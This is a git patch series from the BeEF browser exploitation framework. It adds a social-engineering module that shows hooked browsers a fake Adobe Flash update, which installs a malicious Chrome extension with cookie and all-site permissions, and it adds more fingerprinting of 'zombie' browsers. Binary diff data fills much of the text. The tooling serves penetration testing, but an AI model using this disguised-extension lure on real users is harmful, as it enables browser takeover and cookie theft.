zm%8}h458v2A7Z-5wAbqq9X@vvq8u%La~C|$f#37ZvZ1;{#8KP+AxdFk$y<_XfxOr8 zeT4kktDWxv%!c$qW>!}3W^u+rEyElu3Viy~hiuKIg;~nS#E>8Mly1B^$k3;ySl-t^ zZPLvA6sUCafo5;A+P-5FlXq%8Z`*_xvzCXy-%9&vnEcs*tQdh)x`|2V<-M}9d7bd{ z1$rt%8n>;^miCxJ>OEg*$gbSg(qL1C%u&)R!t(@Vrv_N?0{Xx03?n3kt|#Q(x|v7s zO=&0v(Y{^s{|Jq{hjAB~g7%N0>3)%njhZM#31#3}r|e;QD=pql^ZQGm>_BK61_Fp| zszHbU%uPUjVPVOpzQM?0=w%G$=3CucbpaBEsnl!lncUW3M0n%i{VaW`1=CRsorMb| z^#SF#?f0N*QrldttM1pvR9~ZRV{uIR5r`zXYV6#qeOobVJ)Vx4-i;jz>S*5`=`$Z$ zJ2zF;dekz6hR~^(*z+E3NV6H7P;vkhyY2DVb)u6OYi^ZK3(Zw1amX($oS{gXk!`e0 zzdS4fk;f=aJ6o)O0zZ#jJj|AZC!zi3UCb7J5D3e1$%NLA z3>g`jlbd_-h>6>#!S;H&WxY+mUeCrxh?|v_?Da2J=Yuz&F1SjQgw7TfxEgSn=97y# zQnr8I8#j+POdEYr$Y}~1J#RIB9N7HE`E>m@W-vfdrDyeik7MDyScw9I#Vz7FH!MWw z#in7u2p?rk-BsoAEvZMTWQBY|cvxaN$ti~7fS8Fz^ITyj0h3Deq(pe46%_?LmS8fI zr?KMJ*mFuqVeU_rNxKbJ;!;#`V>&%k9HcGt>b>*Dz9!{}{L*g^;r>|*Cv1!%LLDq& z{xUPka*ig&(o25`2<8K%pI{W@z7`r@-VoMq6w(S9;8wDTXyaWGN?$W0f^YNCH&7FS zTW>W(4E!*ES_cKfuvt1jM2i{QIXF3KzhCjpP%rm+JnK`=m(!1MZ(Uhe#-yNl$ShVL zu04SB78k!x#a3NR6EdTw*smzlZm4$uoKMf+czl^+p>Pz08E-5Xra`kmS-H=kZc0*m zgjUZxs$!nW`#a-Y{0|R>GjUOq;*939{=vcmw@X6=3#T}rPT2I5H8aO_v+gP|6dvB~&fZ75 z*|sb(L!Z2N%PdM`b`J;O)Xncsgp*a@-88p{bBZifx9pc~FXSuv2Ed0nkykrZb*eTS zQD#_?_ymddxk;?p)`b1YvI`rRAgYs+e33+y#7;kr*+@#DvLD#_t=C&)00%myHw?#R z!SVIHS#~uYPEVOL!x%WI%OXvtZ>E_#uxT7G`YkQx!Jn$t91=2>(%WI2&`LZa=n7jB zkbq#xQPT`Q>&>3hj-%nNvHQ^TK_^(9w!C?(g_iR6K~?pb$bC#~5w|3YsCahSA-g&& zWJ*)Bc=Rj3oP=um^h#~U)6m3JSs62hk|}=PTf3)`;_51ujAi9-L6=m(RvuL=3w|!e zAFC+@Nyjk~UrLdfe`zgq+^CF3NWvS8dMR|BZV_Br-)8cP;LKe$d%60Nep;y0|APC= zhqSWegKh2y!+81I*JtpuWpmRl#}10uiL&~WNT6uC6TSA#tSp6o@LJrYElzcua`w*c zn99It{zH^`+mlqfdS9`T`lLEISMaoIKPx&N^u++SD$d?>86m>b8NT%1m#`f5`U!b= zXm(4(mGl^KNe~wFolb-QD_gX!7!`Yn%kO=A4`Rad#p7HeMquq&*cou|g=*z#k+ckV zvLy4>9{g7pdXnZ`r>BA!=V=hg&>yG(f#we!BU<3)J7Yf>coESAqB+o{S4GAT1-u%I zxh=;lHFXGxmgcmDP;mXIqU(}|$LPaft@^7l$~ z%SWjDM-sA)!az>?OT)U|G6H&!z`s_5v!tb1QbYzWAJ#@H)Yt_ysb?m;?c`V6Q5uh( z(_U}eP$~8#>%~t3ly)KvX#3uab)_%P?^^0E>tBp3iz%6o>NAqwVdod{CnmdR?(jqc2MHXkLx}5d2Z1qrBGQAX7v!wF{-8X3fxff!8Zz>J zBp$|BayHLH;K&^wpY5knCS$IgpHg8v_V`0Ms|tTAtoY7R;ogne3+#Bg3mHaKLWhg3 z^w)!XFgW_`(`#HXCOHjE;UPnkn?W48xmi(7xlO^9R@%_;XTrVj`sr)#6NadT4jDyi zG`sBxfzAhsy{(js#k%Wv3%Rh$+0Z6%m1qLEFbw|)^eGPW z^Zzp{l5N$L-N4+#l|D+FP_j1mJwM*+`d;iZiIP!>qSY&OL%WvG8|z^Hbb9h_dwHCA zvloSbQ%6$46ZUp{n6m1~T{Xcp+5+xODb8!|tzidV*XSF_S3ATK?wKhPPkKPU>O}Zv zj?Qu*KSA?3BV!zz+~(?XXfe6oqo}4#spXt-e>VemAtIE=?w4vMFhYamW%%8j;$!d_ z@S+(Hqt(V-gWBh}zt%><-#elYz}s3xRWvvP&$U(#8i>Fcy^0b{!LCheprXb2Mce~f zA6jCSTe3f9$S?x;G;jY3RU!6U(J{bFpCwrcwE{5o6{ zN6Nlub4#IB)4dyeLHaueXyQ4IqEp>b~rwr?y*4+}p_zWRzAu;_&OW_Iq6RE{www=jmA=Anw2wcqWZ(}c6wPsk@~LCF>4X`Cc}ybgfl;Ps'; + $j("#splash").click(function () { + $j(this).hide(); + }); +}); diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml new file mode 100644 index 000000000..ccbdfff8e --- /dev/null +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + fake_flash_update: + enable: true + category: "Social Engineering" + name: "Fake flash update" + description: "Prompts the user to install an update to adobe flash player that is a malicious chrome extension" + authors: ["mh"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/fake_flash_update/module.rb b/modules/social_engineering/fake_flash_update/module.rb new file mode 100644 index 000000000..58e05d06d --- /dev/null +++ b/modules/social_engineering/fake_flash_update/module.rb @@ -0,0 +1,38 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Fake_flash_update < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + payload = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/adobe_flash_update.crx" + image = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/adobe_flash_update.png" + + return [ + {'name' =>'payload', 'description' =>'Location of the chrome extension that user is promted to install', 'ui_label'=>'Chrome extension', 'value' => payload}, + {'name' =>'image', 'description' =>'Location of image for the update prompt', 'ui_label'=>'Splash image', 'value' => image} + + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end From 53b07819615245faf6b36b59b13ddc932420b300 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 28 May 2012 10:28:31 +0930 Subject: [PATCH 08/26] Updated supported browsers and module description for: o modules/misc/iframe_sniffer/config.yaml o modules/social_engineering/fake_flash_update/config.yaml --- modules/misc/iframe_sniffer/config.yaml | 5 +++-- modules/social_engineering/fake_flash_update/config.yaml | 4 ++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/misc/iframe_sniffer/config.yaml b/modules/misc/iframe_sniffer/config.yaml index 0fc20b8fa..61c796fa1 100644 --- a/modules/misc/iframe_sniffer/config.yaml +++ b/modules/misc/iframe_sniffer/config.yaml @@ -19,7 +19,8 @@ beef: enable: true category: "Misc" name: "iFrame Sniffer" - description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a url.
For more information, refer to http://www.contextis.co.uk/research/blog/framesniffing/" + description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a URL.
For more information, refer to http://www.contextis.co.uk/research/blog/framesniffing/" authors: ["Bart Leppens"] target: - working: "S" + working: ["S", "IE"] + not_working: ["ALL"] diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml index ccbdfff8e..2142bfab4 100644 --- a/modules/social_engineering/fake_flash_update/config.yaml +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -18,8 +18,8 @@ beef: fake_flash_update: enable: true category: "Social Engineering" - name: "Fake flash update" - description: "Prompts the user to install an update to adobe flash player that is a malicious chrome extension" + name: "Fake Flash Update" + description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension." authors: ["mh"] target: user_notify: ['ALL'] From 874bc14278f0ca17a679ea6836bd6304b72f83cb Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 28 May 2012 13:44:05 +0100 Subject: [PATCH 09/26] Close issues #541 and #684. Added 2 command line options to ovveride default port and websocket server port --- beef | 11 ++++++++++- core/main/console/commandline.rb | 11 +++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/beef b/beef index b99cc5672..6302be317 100755 --- a/beef +++ b/beef @@ -59,6 +59,15 @@ if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true BeEF::Core::Console::Banners.print_ascii_art end +# @note Check if port and WebSocket port need to be updated from command line parameters +unless BeEF::Core::Console::CommandLine.parse[:port].empty? + config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port]) +end + +unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty? + config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port]) +end + # @note Prints BeEF welcome message BeEF::Core::Console::Banners.print_welcome_msg @@ -115,7 +124,7 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance - print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port")}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" end diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb index 340e79135..1ad2fa025 100644 --- a/core/main/console/commandline.rb +++ b/core/main/console/commandline.rb @@ -26,6 +26,9 @@ module BeEF @options[:resetdb] = false @options[:ascii_art] = false @options[:ext_config] = "" + @options[:port] = "" + @options[:ws_port] = "" + @already_parsed = false @@ -53,6 +56,14 @@ module BeEF opts.on('-c', '--config FILE', 'Load a different configuration file: if it\'s called custom-config.yaml, git automatically ignores it.') do |f| @options[:ext_config] = f end + + opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p| + @options[:port] = p + end + + opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port| + @options[:ws_port] = ws_port + end end optparse.parse! From 75315f8622be4e3de969f161dcccbc43a09a41df Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 29 May 2012 16:40:15 +0930 Subject: [PATCH 10/26] Added support for Firefox 13 Added return message for fake flash update module --- core/main/client/browser.js | 16 +++++++++++++--- .../fake_flash_update/command.js | 1 + 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 53d6505e5..31663f729 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -166,10 +166,18 @@ beef.browser = { /** * Returns true if FF12 -* @example: beef.browser.isFF12() + * @example: beef.browser.isFF12() */ isFF12: function() { -return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null; + return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null; + }, + + /** + * Returns true if FF13 + * @example: beef.browser.isFF13() + */ + isFF13: function() { + return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null; }, /** @@ -177,7 +185,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo * @example: beef.browser.isFF() */ isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13(); }, /** @@ -411,6 +419,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo FF10: this.isFF10(), // Firefox 10 FF11: this.isFF11(), // Firefox 11 FF12: this.isFF12(), // Firefox 12 + FF13: this.isFF13(), // Firefox 13 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 @@ -468,6 +477,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo if (this.isFF10()) { return '10' }; // Firefox 10 if (this.isFF11()) { return '11' }; // Firefox 11 if (this.isFF12()) { return '12' }; // Firefox 12 + if (this.isFF13()) { return '13' }; // Firefox 13 if (this.isIE6()) { return '6' }; // Internet Explorer 6 if (this.isIE7()) { return '7' }; // Internet Explorer 7 diff --git a/modules/social_engineering/fake_flash_update/command.js b/modules/social_engineering/fake_flash_update/command.js index 06a482e96..c86e73fce 100644 --- a/modules/social_engineering/fake_flash_update/command.js +++ b/modules/social_engineering/fake_flash_update/command.js @@ -28,5 +28,6 @@ beef.execute(function() { div.innerHTML= ''; $j("#splash").click(function () { $j(this).hide(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted'); }); }); From 0ac7023df10652ca8482257f49ddc8102b23b9f8 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 29 May 2012 18:52:43 +0930 Subject: [PATCH 11/26] Renamed getScreenParams() to getScreenSize() Added date stamp to browser hook initialization --- core/filters/browser.rb | 15 +++++-- core/main/client/browser.js | 8 ++-- core/main/client/browser/popup.js | 4 +- core/main/handlers/browserdetails.rb | 16 ++++++-- .../admin_ui/controllers/modules/modules.rb | 39 +++++++++++++------ extensions/console/lib/shellinterface.rb | 39 +++++++++++++------ 6 files changed, 85 insertions(+), 36 deletions(-) diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 0bf881883..f955fb6f6 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -78,10 +78,10 @@ module Filters true end - # Verify the screen params are valid + # Verify the screen size is valid # @param [String] str String for testing - # @return [Boolean] If the string has valid screen param characters - def self.is_valid_screen_params?(str) + # @return [Boolean] If the string has valid screen size characters + def self.is_valid_screen_size?(str) return false if has_non_printable_char?(str) return false if str.length > 200 true @@ -105,6 +105,15 @@ module Filters true end + # Verify the date stamp is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid date stamp characters + def self.is_valid_date_stamp?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + true + end + # Verify the browser_plugins string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid browser plugin characters diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 31663f729..762072108 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -714,7 +714,7 @@ beef.browser = { /** * Returns zombie screen size and color depth. */ - getScreenParams: function() { + getScreenSize: function() { return { width: window.screen.width, height: window.screen.height, @@ -763,10 +763,11 @@ beef.browser = { var hostname = document.location.hostname; var hostport = (document.location.port)? document.location.port : "80"; var browser_plugins = beef.browser.getPlugins(); + var date_stamp = new Date().toString(); var os_name = beef.os.getName(); var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null; var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;}); - var screen_params = beef.browser.getScreenParams(); + var screen_size = beef.browser.getScreenSize(); var window_size = beef.browser.getWindowSize(); var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No"; var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No"; @@ -788,9 +789,10 @@ beef.browser = { if(hostport) details["HostPort"] = hostport; if(browser_plugins) details["BrowserPlugins"] = browser_plugins; if(os_name) details['OsName'] = os_name; + if(date_stamp) details['DateStamp'] = date_stamp; if(system_platform) details['SystemPlatform'] = system_platform; if(browser_type) details['BrowserType'] = browser_type; - if(screen_params) details['ScreenParams'] = screen_params; + if(screen_size) details['ScreenSize'] = screen_size; if(window_size) details['WindowSize'] = window_size; if(java_enabled) details['JavaEnabled'] = java_enabled; if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled diff --git a/core/main/client/browser/popup.js b/core/main/client/browser/popup.js index 656d41c6a..bdea5eb35 100644 --- a/core/main/client/browser/popup.js +++ b/core/main/client/browser/popup.js @@ -25,7 +25,7 @@ beef.browser.popup = { blocker_enbabled: function () { - screenParams = beef.browser.getScreenParams(); + screenParams = beef.browser.getScreenSize(); var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable'); if (popUp == null || typeof(popUp)=='undefined') { return true; @@ -36,4 +36,4 @@ beef.browser.popup = { } }; -beef.regCmp('beef.browser.popup'); \ No newline at end of file +beef.regCmp('beef.browser.popup'); diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 862e20770..dfb3b8040 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -118,6 +118,14 @@ module BeEF self.err_msg "Invalid operating system name returned from the hook browser's initial connection." end + # get and store the date + date_stamp = get_param(@data['results'], 'DateStamp') + if BeEF::Filters.is_valid_date_stamp?(date_stamp) + BD.set(session_id, 'DateStamp', date_stamp) + else + self.err_msg "Invalid date returned from the hook browser's initial connection." + end + # get and store page title page_title = get_param(@data['results'], 'PageTitle') if BeEF::Filters.is_valid_pagetitle?(page_title) @@ -175,11 +183,11 @@ module BeEF end # get and store the zombie screen size and color depth - screen_params = get_param(@data['results'], 'ScreenParams') - if BeEF::Filters.is_valid_screen_params?(screen_params) - BD.set(session_id, 'ScreenParams', screen_params) + screen_size = get_param(@data['results'], 'ScreenSize') + if BeEF::Filters.is_valid_screen_size?(screen_size) + BD.set(session_id, 'ScreenSize', screen_size) else - self.err_msg "Invalid screen params returned from the hook browser's initial connection." + self.err_msg "Invalid screen size returned from the hook browser's initial connection." end # get and store the window size diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 17d757e29..b30573a0d 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -119,21 +119,36 @@ class Modules < BeEF::Extension::AdminUI::HttpController summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the return values for the date stamp + date_stamp = BD.get(zombie_session, 'DateStamp') + if not date_stamp.nil? + encoded_date_stamp = CGI.escapeHTML(date_stamp) + encoded_date_stamp_hash = { 'Date' => encoded_date_stamp } + + page_name_row = { + 'category' => 'Host', + 'data' => encoded_date_stamp_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the return values for the os name os_name = BD.get(zombie_session, 'OsName') if not host_name.nil? encoded_os_name = CGI.escapeHTML(os_name) encoded_os_name_hash = { 'OS Name' => encoded_os_name } - + page_name_row = { 'category' => 'Host', 'data' => encoded_os_name_hash, 'from' => 'Initialization' } - + summary_grid_hash['results'].push(page_name_row) # add the row end - + # set and add the return values for the browser name browser_name = BD.get(zombie_session, 'BrowserName') if not browser_name.nil? @@ -224,24 +239,24 @@ class Modules < BeEF::Extension::AdminUI::HttpController end # set and add the zombie screen size and color depth - screen_params = BD.get(zombie_session, 'ScreenParams') - if not screen_params.nil? + screen_size = BD.get(zombie_session, 'ScreenSize') + if not screen_size.nil? - screen_params_hash = JSON.parse(screen_params.gsub(/\"\=\>/, '":')) # tidy up the string for JSON - width = screen_params_hash['width'] + screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON + width = screen_size_hash['width'] (print_error "width is wrong type";return) if not width.is_a?(Fixnum) - height = screen_params_hash['height'] + height = screen_size_hash['height'] (print_error "height is wrong type";return) if not height.is_a?(Fixnum) - colordepth = screen_params_hash['colordepth'] + colordepth = screen_size_hash['colordepth'] (print_error "colordepth is wrong type";return) if not colordepth.is_a?(Fixnum) # construct the string to be displayed in the details tab - encoded_screen_params = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s) - encoded_screen_params_hash = { 'Screen Params' => encoded_screen_params } + encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s) + encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size } page_name_row = { 'category' => 'Host', - 'data' => encoded_screen_params_hash, + 'data' => encoded_screen_size_hash, 'from' => 'Initialization' } diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 927686cb7..a896184cb 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -328,21 +328,36 @@ class ShellInterface summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the return values for the date + date_stamp = BD.get(self.targetsession, 'DateStamp') + if not date_stamp.nil? + encoded_date_stamp = CGI.escapeHTML(date_stamp) + encoded_date_stamp_hash = { 'Date' => encoded_date_stamp } + + page_name_row = { + 'category' => 'Host', + 'data' => encoded_date_stamp, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the return values for the os name os_name = BD.get(self.targetsession, 'OsName') if not os_name.nil? encoded_os_name = CGI.escapeHTML(os_name) encoded_os_name_hash = { 'OS Name' => encoded_os_name } - + page_name_row = { 'category' => 'Host', 'data' => encoded_os_name_hash, 'from' => 'Initialization' } - + summary_grid_hash['results'].push(page_name_row) # add the row end - + # set and add the return values for the browser name browser_name = BD.get(self.targetsession, 'BrowserName') if not browser_name.nil? @@ -433,21 +448,21 @@ class ShellInterface end # set and add the zombie screen size and color depth - screen_params = BD.get(self.targetsession, 'ScreenParams') - if not screen_params.nil? + screen_size = BD.get(self.targetsession, 'ScreenSize') + if not screen_size.nil? - screen_params_hash = JSON.parse(screen_params.gsub(/\"\=\>/, '":')) # tidy up the string for JSON - width = screen_params_hash['width'] - height = screen_params_hash['height'] - colordepth = screen_params_hash['colordepth'] + screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON + width = screen_size_hash['width'] + height = screen_size_hash['height'] + colordepth = screen_size_hash['colordepth'] # construct the string to be displayed in the details tab - encoded_screen_params = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s) - encoded_screen_params_hash = { 'Screen Params' => encoded_screen_params } + encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s) + encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size } page_name_row = { 'category' => 'Host', - 'data' => encoded_screen_params_hash, + 'data' => encoded_screen_size_hash, 'from' => 'Initialization' } From 172ec56be696382db4b699c70a4924e26b30275c Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Tue, 29 May 2012 22:42:58 +1200 Subject: [PATCH 12/26] Got a better splash image, added cookies permission, added some brief documentation --- .../manifest.json | 16 ++++++++++------ extensions/demos/html/adobe_flash_update.crx | Bin 17976 -> 17990 bytes extensions/demos/html/adobe_flash_update.png | Bin 30402 -> 47862 bytes .../fake_flash_update/config.yaml | 2 +- 4 files changed, 11 insertions(+), 7 deletions(-) diff --git a/extensions/demos/flash_update_chrome_extension/manifest.json b/extensions/demos/flash_update_chrome_extension/manifest.json index 0efdee334..7e2c4fa44 100644 --- a/extensions/demos/flash_update_chrome_extension/manifest.json +++ b/extensions/demos/flash_update_chrome_extension/manifest.json @@ -1,10 +1,13 @@ { + // Simple chrome extension + // Just loads beef into the extension context. + // + // You may need to set the IP address of the beef hook in background.js + // Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/ + "name": "Adobe Flash Player", - "version": "1.0", - // when the browser icon is clicked, a new tab is open to maintain persistence (chrome.tabs.create) - // for the sake of testing...unfortunately the popup is closed when the user is not focusing on it. - // See at the end of index.html file. - "description": "Introduces vulnerabilites into webbrowsers", + "version": "11.2.202.235", + "description": "Introduces vulnerabilites into web browsers", "background": { "scripts": ["background.js"] }, @@ -17,6 +20,7 @@ "tabs", "http://*/*", "https://*/*", - "file://*/*" + "file://*/*", + "cookies" ] } diff --git a/extensions/demos/html/adobe_flash_update.crx b/extensions/demos/html/adobe_flash_update.crx index 21ee67d77794688d69c1a4c53f2ac2a3aa08f22c..91a0af8c8c70c4893b4416edf4a956ed03112f96 100644 GIT binary patch delta 693 zcmV;m0!sb3i~+`s0gx?!z{!3x)zWk@5fyWd{a04}-%j3PJi5-;XK(Mq+P}yB;8V#> z_$TP)k|*6u9!wJKyTGgmhJg*ZE`m2dYi(hi*eak0EM)a_39k$(SS2y$`|HXEJqEE_ zx{a93xzOx_UUD`j0{%^ZsjQAh)3?8{SU*y@uZFqXGC>;C$8V*7UjhRG00CCH_GQ6+ zn>A6eq1X!fI}x4!SYAAsorA#V3;m`KTdJhv;9 zY9coJBtONk39iEtD{Qt8%`zf*G6b1B66|~G@wzlVdH2vi5k(ImsTY=+6Iz*g9L1gb z)WnUS%;%G7!b$W8yS5_T82W^>G67pce`EAFc)aprb@6N)WL}_wP|8UKBo^={qLM(`k+H1-}k!n z`7i*;GWgIh>bUt`$CjFf#Ox8n=T=^R0Qbi!hVeSjv=dYQ6`zPmE|VnL+X@ZGrGs3sSJC z#U5Sq82Amk;0%&HPek2~*?h-Ew9vJwfyl-b&Hq3^XnodA4hm~K~B|p1H2TJ(792^I~ blLJNc31jp(cejqJet3;TB#$=FHQUduMSqy4Ba?>-n)U0hH zURYWH`2X3!HIvFRw~KLsr`osp5^>6zURK+|&b3QcN>nAd3;w1#6f(NNbDuK`8L`n5 za$Ltw{!`%@aBVCIenT}d#SXPUo@!c=MGQk%D74MEdPk2nS#wc;0RjU7009~U4Y!8rctLJJ}Sml;A1q>Y*{*FfJ(*Xh7*d@X!~ryX=VdNuAc ziJ?M@rN)LezyHSvGA0**;E|-WG67pces1{qB>U{yPMmpPrtc zWblkPBIL;ha73gM&G+`w0>kLdGxtRK*`brdC~dQGe-U~G^eGzgV&muP0!p)7bj0ei8J^ZyX|vyXH&89z zCn3TnLl*G!P*=a4Z$xlTeQ~c*ae}F*T*m2i_@% diff --git a/extensions/demos/html/adobe_flash_update.png b/extensions/demos/html/adobe_flash_update.png index 2906b86ac32fc382812f9fa28c374d9e323ddef5..9f0278e6bb54cf71c840d327a751585697009d87 100644 GIT binary patch literal 47862 zcmYg%V|ZL$xc06-I?|MtrpRuu1P z0M%ml2T(^Cg2A^EM})UBVxoWB_wFX^d_3T>-ALuReRnt<|IG4qycj0}IY32B{S2W1 zNp1gv4dBw2)$K`jxyQV=)=~dGkCdN%-tvC97LdbZJ<3bOXJnzDu{9Anm}*!hd0vqYIi_|- zj8ECYY3>CfnEWo0IKpTh?k$i%{PsiU9%cU4@C`!z<+xHIA_I*GwR0H1GX0elUNKPo z{y4SgV)Inz9g8P!pP+e|zNgoFf`x0D?Z|V=KTpton%sDo|*w3@oe+zZ`5#_v+n63x0AEzcgH0E|0~RArdA|rgN!x1 zs?62FgjK+|?x-5&V_T{@xhijMmGGzi@L9o5gki8rJ2b%gwjkI1xnMyg#Hi)qR>(+- zexP!&7JV{m$N_zrrLVLiU%4T1dlc;O>jT-gz?;D<1Jkz{-C!lUx!vF>dtjI$M352l zgq5Wb75&*syob?iL-2`Rhq1l{kmj0EBkqWZQe&+^Vu%&WQ#c`81o#C15W~vRH3PLG zMTw$KYaOvg28=L&RSjs^qNwILLwM~bxsu^V{1NE51@6YD4Yt@TxyAVe?nTfEAJfgW zO@l5RC-3x!b`<$nl*2cuoILp&YA_3dGFX-9vTqGJyb1y(t0gFNbaPbfnBTv#O^2BA z)noCZPe>H!F6KAo(#=F2ao$nfS>I86puT?<>!CKhV`;>uqy$F`)d-~N|6_E*Qp}vp z;>xm{f}~EL6g@wvY0yy}w?Z;VB`Oyx-EW5ev3`RcKGd)RiCPi{GK$z6DU1T6g1-d{|EOxwHDbYcF%+&i~-?1zSg^q@uvU7bqNw}Yf{New6sDve63IIF*BI?GcI z2t2MWT;E?B#dc(61hfx+DC=(!)I_jQ?gwkI zK~{@S+cHA6ZNbr6!@9^N+NJKH8u8nZ0@e3o)x&5;)kRG%Y1izF?*i&mqD;C~GM6EO z<+i2SIbA<}yFo_!M%`>B9N4Vnc)WNfxSV*=xHC~+Q8!U5QMybs>ZlFIhw)hyn~@BW z2~nq!L}^l~Zs~jJPHF8N^K8G;RZ}-u@>ASXteH=lJ&h`DCpk84eWn5|woPjW@>X~L z7A6*U*A6)J%Jk8$l&x3{rbPQGWk2PlU#XDr9&+bs)qWAMBCyA89Jzf1d# 